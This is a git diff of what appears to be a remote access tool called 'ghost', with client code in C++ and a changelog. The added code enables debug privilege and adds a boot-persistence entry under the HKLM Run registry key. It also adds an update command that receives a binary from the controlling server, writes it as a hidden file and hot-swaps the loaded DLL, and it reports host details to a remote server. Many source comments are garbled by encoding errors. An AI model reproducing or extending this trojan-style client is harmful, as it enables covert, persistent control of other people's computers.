diff --git a/ReadMe.txt b/ReadMe.txt
index d6986fb..6ed1e03 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -236,3 +236,9 @@ fix: showing the wrong host quantity in status bar
 solve some issues according to code analysis result
 reorg: Move commands to common/commands.h
 此次提交的重点是将重复代码移动到公共目录，减少代码的冗余。
+
+2024.12.28
+1.修改了注册指令内容，新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段，以便未来之需。
+2.解决客户端接收大数据包的问题! 主控程序增加显示被控端版本信息，以便实现针对老版本在线更新(仅限基于TestRun的服务)的能力。
+在主控程序上面增加了显示被控端启动时间的功能，以便掌握被控端程序的稳定性。
+3.完善生成服务程序的功能。
diff --git a/client/Buffer.cpp b/client/Buffer.cpp
index bd43209..f3be6bd 100644
--- a/client/Buffer.cpp
+++ b/client/Buffer.cpp
@@ -30,103 +30,101 @@ CBuffer::~CBuffer(void)
 
 ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
 {
-	if (ulLength > GetBufferMaxLength())
+	if (ulLength > m_ulMaxLength)
 	{
 		return 0;
 	}
-	if (ulLength > GetBufferLength())
+	ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
+	if (ulLength > len)
 	{
-		ulLength = GetBufferLength();
+		ulLength = len;
 	}
 
 	if (ulLength)
 	{
 		CopyMemory(Buffer,m_Base,ulLength);  
 
-		MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
+		MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength);
 		m_Ptr -= ulLength;
 	}
 
-	DeAllocateBuffer(GetBufferLength());   
+	DeAllocateBuffer((ULONG)m_Ptr - (ULONG)m_Base);
 
 	return ulLength;
 }
 
 
-
-ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)        
+// ���·����ڴ��С
+VOID CBuffer::DeAllocateBuffer(ULONG ulLength)        
 {
-	if (ulLength < GetBufferLength())     
-		return 0;
+	int len = (ULONG)m_Ptr - (ULONG)m_Base;
+	if (ulLength < len)
+		return;
 
 	ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;  
 
-	if (GetBufferMaxLength() <= ulNewMaxLength) 
+	if (m_ulMaxLength <= ulNewMaxLength)
 	{
-		return 0;
+		return;
 	}
 	PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
 	if (NewBase == NULL)
-		return 0;
-	ULONG ulv1 = GetBufferLength();  //��ԭ���ڴ����Ч����
-	CopyMemory(NewBase,m_Base,ulv1);
+		return;
+
+	CopyMemory(NewBase,m_Base,len);
 
 	VirtualFree(m_Base,0,MEM_RELEASE);
 
 	m_Base = NewBase;
 
-	m_Ptr = m_Base + ulv1;
+	m_Ptr = m_Base + len;
 
 	m_ulMaxLength = ulNewMaxLength;
-
-	return m_ulMaxLength;
 }
 
 
 BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
 {
-	if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1   1024
+	if (ReAllocateBuffer(ulLength + ((ULONG)m_Ptr - (ULONG)m_Base)) == FALSE)
 	{
-		return false;
+		return FALSE;
 	}
 
-	CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
-
+	CopyMemory(m_Ptr, Buffer, ulLength);
 	m_Ptr+=ulLength;
+
 	return TRUE;
 }
 
 
-
-ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
+// �����泤�Ȳ���ʱ���·���
+BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
 {
-	if (ulLength < GetBufferMaxLength())   
-		return 0;
+	if (ulLength < m_ulMaxLength)
+		return TRUE;
 
 	ULONG  ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;  
 	PBYTE  NewBase  = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
 	if (NewBase == NULL)
 	{
-		return -1; 
+		return FALSE; 
 	}
 
-	ULONG ulv1 = GetBufferLength();   //ԭ�ȵ���Ч���ݳ���  
-	CopyMemory(NewBase,m_Base,ulv1);
+	ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
+	CopyMemory(NewBase, m_Base, len);
 
 	if (m_Base)
 	{
 		VirtualFree(m_Base,0,MEM_RELEASE);
 	}
 	m_Base = NewBase;
-	m_Ptr = m_Base + ulv1; //1024
+	m_Ptr = m_Base + len;
+	m_ulMaxLength = ulNewMaxLength;
 
-	m_ulMaxLength = ulNewMaxLength;  //2048
-
-	return m_ulMaxLength;
+	return TRUE;
 }
 
 
-
 VOID CBuffer::ClearBuffer()
 {
 	m_Ptr = m_Base;
@@ -136,27 +134,15 @@ VOID CBuffer::ClearBuffer()
 
 
 
-ULONG CBuffer::GetBufferLength() const //�����Ч���ݳ���
+ULONG CBuffer::GetBufferLength() const 
 {
-	if (m_Base == NULL)
-		return 0;
-
 	return (ULONG)m_Ptr - (ULONG)m_Base;
 }
 
 
-ULONG CBuffer::GetBufferMaxLength() const
-{
-	return m_ulMaxLength;
-}
-
 PBYTE CBuffer::GetBuffer(ULONG ulPos) const
 {
-	if (m_Base==NULL)
-	{
-		return NULL;
-	}
-	if (ulPos>=GetBufferLength())
+	if (m_Base==NULL || ulPos>=((ULONG)m_Ptr - (ULONG)m_Base))
 	{
 		return NULL;
 	}
diff --git a/client/Buffer.h b/client/Buffer.h
index cb732cb..cd1517d 100644
--- a/client/Buffer.h
+++ b/client/Buffer.h
@@ -8,12 +8,11 @@ public:
 	CBuffer(void);
 	~CBuffer(void);
 
-	ULONG GetBufferMaxLength() const;
 	ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
 	ULONG GetBufferLength() const; //�����Ч���ݳ���
-	ULONG DeAllocateBuffer(ULONG ulLength);
+	VOID DeAllocateBuffer(ULONG ulLength);
 	VOID ClearBuffer();
-	ULONG ReAllocateBuffer(ULONG ulLength);
+	BOOL ReAllocateBuffer(ULONG ulLength);
 	BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
 	PBYTE GetBuffer(ULONG ulPos=0) const;
 
diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index 1707c98..861c856 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -9,11 +9,13 @@
 #include "KernelManager.h"
 using namespace std;
 
-// Զ�̵�ַ
-char  g_szServerIP[MAX_PATH] = {0};  
-unsigned short g_uPort = 0; 
+// �Զ�����ע����е�ֵ
+#define REG_NAME "a_ghost"
 
-// Ӧ�ó���״̬��1-���ض��˳� 2-���ض��˳���
+// Զ�̵�ַ
+CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0};
+
+// Ӧ�ó���״̬��1-���ض��˳� 2-���ض��˳� 3-����������
 BOOL g_bExit = 0;
 // �����߳�״̬
 BOOL g_bThreadExit = 0;
@@ -25,6 +27,60 @@ DWORD WINAPI StartClient(LPVOID lParam);
 
 enum { E_RUN, E_STOP } status;
 
+//����Ȩ��
+void DebugPrivilege()
+{
+	HANDLE hToken = NULL;
+	//�򿪵�ǰ���̵ķ�������
+	int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
+
+	if (hRet)
+	{
+		TOKEN_PRIVILEGES tp;
+		tp.PrivilegeCount = 1;
+		//ȡ������Ȩ�޵�LUID
+		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
+		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+		//�����������Ƶ�Ȩ��
+		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
+
+		CloseHandle(hToken);
+	}
+}
+
+/**
+* @brief ��������������
+* @param[in] *sPath ע�����·��
+* @param[in] *sNmae ע���������
+* @return ����ע����
+* @details Win7 64λ�����ϲ��Խ��������ע�����ڣ�\n
+* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
+* @note �״�������Ҫ�Թ���ԱȨ�����У�������ע���д�뿪��������
+*/
+BOOL SetSelfStart(const char* sPath, const char* sNmae)
+{
+	DebugPrivilege();
+
+	// д���ע���·��
+#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
+
+	// ��ע�����д��������Ϣ
+	HKEY hKey = NULL;
+	LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
+
+	// �ж��Ƿ�ɹ�
+	if (lRet != ERROR_SUCCESS)
+		return FALSE;
+
+	lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
+
+	// �ر�ע���
+	RegCloseKey(hKey);
+
+	// �ж��Ƿ�ɹ�
+	return lRet == ERROR_SUCCESS;
+}
+
 // ���ؿ���̨
 // ���https://blog.csdn.net/lijia11080117/article/details/44916647
 // step1: ��������"�߼�"������ڵ�ΪmainCRTStartup
@@ -44,12 +100,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
 
 int main(int argc, const char *argv[])
 {
-	status = E_RUN;
-	if (argc < 3)
+	if (!SetSelfStart(argv[0], REG_NAME))
 	{
-		std::cout<<"��������.\n";
-		return -1;
+		std::cout << "���ÿ���������ʧ�ܣ����ù���ԱȨ������.\n";
 	}
+
+	status = E_RUN;
+
 	HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
 	if (ERROR_ALREADY_EXISTS == GetLastError())
 	{
@@ -58,12 +115,16 @@ int main(int argc, const char *argv[])
 	}
 	
 	SetConsoleCtrlHandler(&callback, TRUE);
-	const char *szServerIP = argv[1];
-	int uPort = atoi(argv[2]);
-	printf("[server] %s:%d\n", szServerIP, uPort);
-
-	memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
-	g_uPort = uPort;
+	if (argc>=3)
+	{
+		g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
+	}
+	if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0)	{
+		printf("��������: ���ṩԶ������IP�Ͷ˿�!\n");
+		Sleep(3000);
+		return -1;
+	}
+	printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
 
 	do{
 		g_bExit = 0;
@@ -103,9 +164,8 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
 // ��������һ��ghost
 extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
 {
-	g_bExit = false;
-	memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
-	g_uPort = uPort;
+	g_bExit = FALSE;
+	g_SETTINGS.SetServer(szServerIP, uPort);
 
 	HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
 	if (hThread == NULL) {
@@ -126,7 +186,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
 extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
 
 // �Ƿ��˳��ͻ���
-extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; }
+extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
 
 #endif
 
@@ -138,7 +198,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
 	while (!g_bExit)
 	{
 		DWORD dwTickCount = GetTickCount64();
-		if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
+		if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
 		{
 			for (int k = 500; !g_bExit && --k; Sleep(10));
 			continue;
diff --git a/client/Common.cpp b/client/Common.cpp
index 445869d..b13f237 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -10,10 +10,9 @@
 #include "RegisterManager.h"
 #include "ServicesManager.h"
 #include "VideoManager.h"
-#include "KernelManager.h"
+#include "KernelManager.h" 
 
-extern char  g_szServerIP[MAX_PATH];
-extern unsigned short g_uPort;  
+extern CONNECT_ADDRESS g_SETTINGS;
 
 HANDLE _CreateThread (LPSECURITY_ATTRIBUTES  SecurityAttributes,   
 					  SIZE_T dwStackSize,                                           
@@ -53,7 +52,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
 {
 	ThreadInfo *pInfo = (ThreadInfo *)lParam;
 	IOCPClient	*ClientObject = pInfo->p;
-	if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
+	if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
 	{
 		Manager	m(ClientObject, n);
 		ClientObject->RunEventLoop(pInfo->run);
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index 0aba840..cfe54c5 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -101,7 +101,7 @@ inline string GetIPAddress(const char *hostName)
 	return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
 }
 
-BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
+BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
 {
 	m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP);    //�����
 
@@ -219,14 +219,14 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
 	{
 		assert (ulLength > 0);	
 		//���½ӵ����ݽ��н�ѹ��
-		CBuffer m_CompressedBuffer;
 		m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
 
 		//��������Ƿ��������ͷ��С ��������ǾͲ�����ȷ������
 		while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
 		{
 			char szPacketFlag[FLAG_LENGTH + 3] = {0};
-			CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH);
+			LPBYTE src = m_CompressedBuffer.GetBuffer();
+			CopyMemory(szPacketFlag, src, FLAG_LENGTH);
 			//�ж�����ͷ
 			if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
 			{
@@ -238,8 +238,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
 				sizeof(ULONG));
 
 			//--- ���ݵĴ�С��ȷ�ж�
-			if (ulPackTotalLength && 
-				(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
+			ULONG len = m_CompressedBuffer.GetBufferLength();
+			if (ulPackTotalLength && len >= ulPackTotalLength)
 			{
 				m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//��ȡ����ͷ�� shine
 
@@ -270,7 +270,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
 						m_DeCompressedBuffer.GetBufferLength());
 				}
 				else{
-					printf("[ERROR] uncompress failed \n");
+					printf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
 					delete [] CompressedBuffer;
 					delete [] DeCompressedBuffer;
 					throw "Bad Buffer";
@@ -278,11 +278,17 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
 
 				delete [] CompressedBuffer;
 				delete [] DeCompressedBuffer;
+#if _DEBUG
+				printf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
+#endif
 			}
-			else
+			else {
+				printf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
 				break;
+			}
 		}
 	}catch(...) { 
+		m_CompressedBuffer.ClearBuffer();
 		printf("[ERROR] OnServerReceiving catch an error \n");
 	}
 }
diff --git a/client/IOCPClient.h b/client/IOCPClient.h
index 5fdf5c3..ae55eb3 100644
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -30,11 +30,11 @@ public:
 	IOCPClient(bool exit_while_disconnect = false);
 	virtual ~IOCPClient();
 	SOCKET   m_sClientSocket;
-
+	CBuffer	 m_CompressedBuffer;
 	BOOL	 m_bWorkThread;
 	HANDLE   m_hWorkThread;
 	
-	BOOL ConnectServer(char* szServerIP, unsigned short uPort);
+	BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
 	static DWORD WINAPI WorkThreadProc(LPVOID lParam);
 
 	VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 6df4dd2..60af449 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -5,6 +5,10 @@
 #include "stdafx.h"
 #include "KernelManager.h"
 #include "Common.h"
+#include <iostream>
+#include <fstream>
+#include <corecrt_io.h>
+
 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////
@@ -48,6 +52,56 @@ UINT CKernelManager::GetAvailableIndex() {
 	return -1;
 }
 
+BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
+{
+	if (size > 32 * 1024 * 1024) {
+		std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl;
+		return FALSE;
+	}
+
+	char path[_MAX_PATH], * p = path;
+	GetModuleFileNameA(NULL, path, sizeof(path));
+	while (*p) ++p;
+	while ('\\' != *p) --p;
+	strcpy(p + 1, "ServerDll.new");
+	if (_access(path, 0)!=-1)
+	{
+		DeleteFileA(path);
+	}
+	// ���ļ����Զ�����ģʽд��
+	std::string filePath = path;
+	std::ofstream outFile(filePath, std::ios::binary);
+
+	if (!outFile)
+	{
+		std::cerr << "Failed to open or create the file: " << filePath << std::endl;
+		return FALSE;
+	}
+
+	// ����������
+	outFile.write(data, size);
+
+	if (outFile.good())
+	{
+		std::cout << "Binary data written successfully to " << filePath << std::endl;
+	}
+	else
+	{
+		std::cerr << "Failed to write data to file." << std::endl;
+		outFile.close();
+		return FALSE;
+	}
+
+	// �ر��ļ�
+	outFile.close();
+	// �����ļ�����Ϊ����
+	if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
+	{
+		std::cout << "File created and set to hidden: " << filePath << std::endl;
+	}
+	return TRUE;
+}
+
 VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 {
 	bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -161,6 +215,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 			break;
 		}
 
+	case COMMAND_UPDATE:
+		{
+			if (m_ulThreadCount != -1) {
+				delete m_hThread[m_ulThreadCount].p;
+				m_hThread[m_ulThreadCount].p = NULL;
+			}
+			ULONGLONG size=0;
+			memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
+			if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
+				extern BOOL g_bExit;
+				g_bExit = 3;
+			}
+			break;
+		}
+
 	default:
 		{
 			OutputDebugStringA("======> Error operator\n");
diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp
index efa8132..409a2b8 100644
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -2,6 +2,9 @@
 #include "LoginServer.h"
 #include "Common.h"
 #include <string>
+#include <iostream>
+#include <iomanip>
+#include <ctime>
 
 /************************************************************************
 --------------------- 
@@ -122,10 +125,39 @@ std::string getSystemName()
 	return vname;
 }
 
+std::string formatTime(const FILETIME& fileTime) {
+	// ת��Ϊ 64 λʱ��
+	ULARGE_INTEGER ull;
+	ull.LowPart = fileTime.dwLowDateTime;
+	ull.HighPart = fileTime.dwHighDateTime;
+
+	// ת��Ϊ�뼶ʱ���
+	std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
+
+	// ��ʽ�����
+	std::tm* localTime = std::localtime(&startTime);
+	char buffer[100];
+	std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
+	return std::string(buffer);
+}
+
+std::string getProcessTime() {
+	FILETIME creationTime, exitTime, kernelTime, userTime;
+
+	// ��ȡ��ǰ���̵�ʱ����Ϣ
+	if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
+		return formatTime(creationTime);
+	}
+	std::time_t now = std::time(nullptr);
+	std::tm* t = std::localtime(&now);
+	char buffer[100];
+	std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
+	return buffer;
+}
 
 int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
 {
-	LOGIN_INFOR  LoginInfor = {0};
+	LOGIN_INFOR  LoginInfor;
 	LoginInfor.bToken = TOKEN_LOGIN; // ����Ϊ��¼
 	//��ò���ϵͳ��Ϣ
 	strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
@@ -148,9 +180,8 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
 	memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
 	LoginInfor.dwSpeed  = dwSpeed;
 	LoginInfor.dwCPUMHz = dwCPUMHz;
-	LoginInfor.ClientAddr = ClientAddr.sin_addr;
 	LoginInfor.bWebCamIsExist = bWebCamIsExist;
-
+	strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
 	int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));   
 
 	return iRet;
diff --git a/client/LoginServer.h b/client/LoginServer.h
index 4e64225..64f29b6 100644
--- a/client/LoginServer.h
+++ b/client/LoginServer.h
@@ -5,17 +5,6 @@
 
 #pragma comment(lib,"Vfw32.lib")
 
-typedef struct  _LOGIN_INFOR
-{	
-	BYTE			bToken;			// ȡ1����½��Ϣ
-	char			OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// �汾��Ϣ
-	DWORD			dwCPUMHz;		// CPU��Ƶ
-	IN_ADDR			ClientAddr;		// �洢32λ��IPv4�ĵ�ַ���ݽṹ
-	char			szPCName[MAX_PATH];	// ������
-	BOOL			bWebCamIsExist;		// �Ƿ�������ͷ
-	DWORD			dwSpeed;		// ����
-}LOGIN_INFOR,*PLOGIN_INFOR;
-
 int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
 DWORD CPUClockMHz();
 BOOL WebCamIsExist();
diff --git a/client/test.cpp b/client/test.cpp
index bfe4e18..86c9128 100644
--- a/client/test.cpp
+++ b/client/test.cpp
@@ -4,10 +4,15 @@
 #include <corecrt_io.h>
 #include "common/commands.h"
 
+// �Զ�����ע����е�ֵ
+#define REG_NAME "a_ghost"
+
 typedef void (*StopRun)();
 
 typedef bool (*IsStoped)();
 
+typedef BOOL (*IsExit)();
+
 // ֹͣ��������
 StopRun stop = NULL;
 
@@ -15,7 +20,7 @@ StopRun stop = NULL;
 IsStoped bStop = NULL;
 
 // �Ƿ��˳����ض�
-IsStoped bExit = NULL;
+IsExit bExit = NULL;
 
 BOOL status = 0;
 
@@ -87,6 +92,9 @@ BOOL CALLBACK callback(DWORD CtrlType)
 	return TRUE;
 }
 
+// �����.
+BOOL Run(const char* argv1, int argv2);
+
 // @brief ���ȶ�ȡsettings.ini�����ļ�����ȡIP�Ͷ˿�.
 // [settings] 
 // localIp=XXX
@@ -94,50 +102,106 @@ BOOL CALLBACK callback(DWORD CtrlType)
 // ��������ļ������ھʹ��������л�ȡIP�Ͷ˿�.
 int main(int argc, const char *argv[])
 {
-	if(!SetSelfStart(argv[0], "a_ghost"))
+	if(!SetSelfStart(argv[0], REG_NAME))
 	{
 		std::cout<<"���ÿ���������ʧ�ܣ����ù���ԱȨ������.\n";
 	}
 	status = 0;
 	SetConsoleCtrlHandler(&callback, TRUE);
-	char path[_MAX_PATH], *p = path;
+
+	do {
+		BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.szServerIP) == 0 ? "127.0.0.1" : g_ConnectAddress.szServerIP),
+			argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.iPort == 0 ? 6543 : g_ConnectAddress.iPort));
+		if (ret == 1) {
+			return -1;
+		}
+	} while (status == 0);
+
+	status = 0;
+	return -1;
+}
+
+// ���������в���: IP �� �˿�.
+BOOL Run(const char* argv1, int argv2) {
+	BOOL result = FALSE;
+	char path[_MAX_PATH], * p = path;
 	GetModuleFileNameA(NULL, path, sizeof(path));
 	while (*p) ++p;
 	while ('\\' != *p) --p;
-	strcpy(p+1, "ServerDll.dll");
+	*(p + 1) = 0;
+	std::string folder = path;
+	std::string oldFile = folder + "ServerDll.old";
+	std::string newFile = folder + "ServerDll.new";
+	strcpy(p + 1, "ServerDll.dll");
+	BOOL ok = TRUE;
+	if (_access(newFile.c_str(), 0) != -1) {
+		if (_access(oldFile.c_str(), 0) != -1)
+		{
+			if (!DeleteFileA(oldFile.c_str()))
+			{
+				std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
+				ok = FALSE;
+			}
+		}
+		if (ok && !MoveFileA(path, oldFile.c_str())) {
+			std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
+			ok = FALSE;
+		}else {
+			// �����ļ�����Ϊ����
+			if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
+			{
+				std::cout << "File created and set to hidden: " << oldFile << std::endl;
+			}
+		}
+		if (ok && !MoveFileA(newFile.c_str(), path)) {
+			std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
+			MoveFileA(oldFile.c_str(), path);// recover
+		}else if (ok){
+			std::cout << "Using new file: " << newFile << std::endl;
+		}
+	}
 	HMODULE hDll = LoadLibraryA(path);
-	typedef void (*TestRun)(char* strHost,int nPort);
+	typedef void (*TestRun)(char* strHost, int nPort);
 	TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
 	stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
 	bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
-	bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL;
+	bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
 	if (run)
 	{
-		char *ip = g_ConnectAddress.szServerIP;
-		int &port = g_ConnectAddress.iPort;
+		char* ip = g_ConnectAddress.szServerIP;
+		int& port = g_ConnectAddress.iPort;
 		strcpy(p + 1, "settings.ini");
 		if (_access(path, 0) == -1) { // �ļ�������: ���ȴӲ�����ȡֵ������Ǵ�g_ConnectAddressȡֵ.
-			ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip);
-			port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port);
-		} else {
+			strcpy(ip, argv1);
+			port = argv2;
+		}
+		else {
 			GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path);
 			port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path);
 		}
 		printf("[server] %s:%d\n", ip, port);
-		do 
+		do
 		{
 			run(ip, port);
-			while(bStop && !bStop() && 0 == status)
+			while (bStop && !bStop() && 0 == status)
 				Sleep(20);
 		} while (bExit && !bExit() && 0 == status);
 
-		while(bStop && !bStop() && 1 == status)
+		while (bStop && !bStop() && 1 == status)
 			Sleep(20);
+		if (bExit) {
+			result = bExit();
+		}
+		if (!FreeLibrary(hDll)) {
+			printf("�ͷŶ�̬���ӿ�\"ServerDll.dll\"ʧ��. �������: %d\n", GetLastError());
+		}
+		else {
+			printf("�ͷŶ�̬���ӿ�\"ServerDll.dll\"�ɹ�!\n");
+		}
 	}
 	else {
-		printf("���ض�̬���ӿ�\"ServerDll.dll\"ʧ��.\n");
+		printf("���ض�̬���ӿ�\"ServerDll.dll\"ʧ��. �������: %d\n", GetLastError());
 		Sleep(3000);
 	}
-	status = 0;
-	return -1;
-}
+	return result;
+}
\ No newline at end of file
diff --git a/common/commands.h b/common/commands.h
index 9926f1a..c484db1 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -1,11 +1,19 @@
 #pragma once
 
+#include <vcruntime_string.h>
+#include <string.h>
+
 #ifndef _MAX_PATH
 #define _MAX_PATH 260
 #endif
 
 #define FLAG_FINDEN 0x1234567
 
+#define FLAG_GHOST	0x7654321
+
+// �����������Է����仯ʱ��Ӧ�ø������ֵ���Ա�Ա��س����������
+#define DLL_VERSION "20241228"		// DLL�汾
+
 // ����ö���б�
 enum
 {
@@ -78,6 +86,7 @@ enum
 	COMMAND_SERVICES,				// �������
 	COMMAND_REGEDIT,
 	COMMAND_TALK,					// ��ʱ��Ϣ��֤
+	COMMAND_UPDATE = 53,			// �ͻ�������
 
 	// ����˷����ı�ʶ
 	TOKEN_AUTH = 100,				// Ҫ����֤
@@ -133,4 +142,37 @@ typedef struct CONNECT_ADDRESS
 	unsigned long	dwFlag;
 	char			szServerIP[_MAX_PATH];
 	int				iPort;
+	const char* ServerIP()const {
+		return szServerIP;
+	}
+	int ServerPort()const {
+		return iPort;
+	}
+	void SetServer(const char* ip, int port) {
+		strcpy_s(szServerIP, ip);
+		iPort = port;
+	}
 } CONNECT_ADDRESS ;
+
+// �������ߺ��͵ļ������Ϣ
+// �˽ṹ��һ�������仯�������С��������ǰ�汾�Ŀͻ����޷������°�����.
+// �°�ͻ���Ҳ�޷������ϰ汾�����س���.
+// Ϊ�ˣ���20241228�ύ������Ϊ����ṹ��Ԥ���ֶΣ��Ա�δ��֮��ʱ֮��
+// �������޸Ĵ˽ṹ�壬������������ټ�����ǰ�ij�����ߵ�����д����������
+typedef struct  LOGIN_INFOR
+{
+	unsigned char			bToken;									// 1.��½��Ϣ
+	char					OsVerInfoEx[156];						// 2.�汾��Ϣ
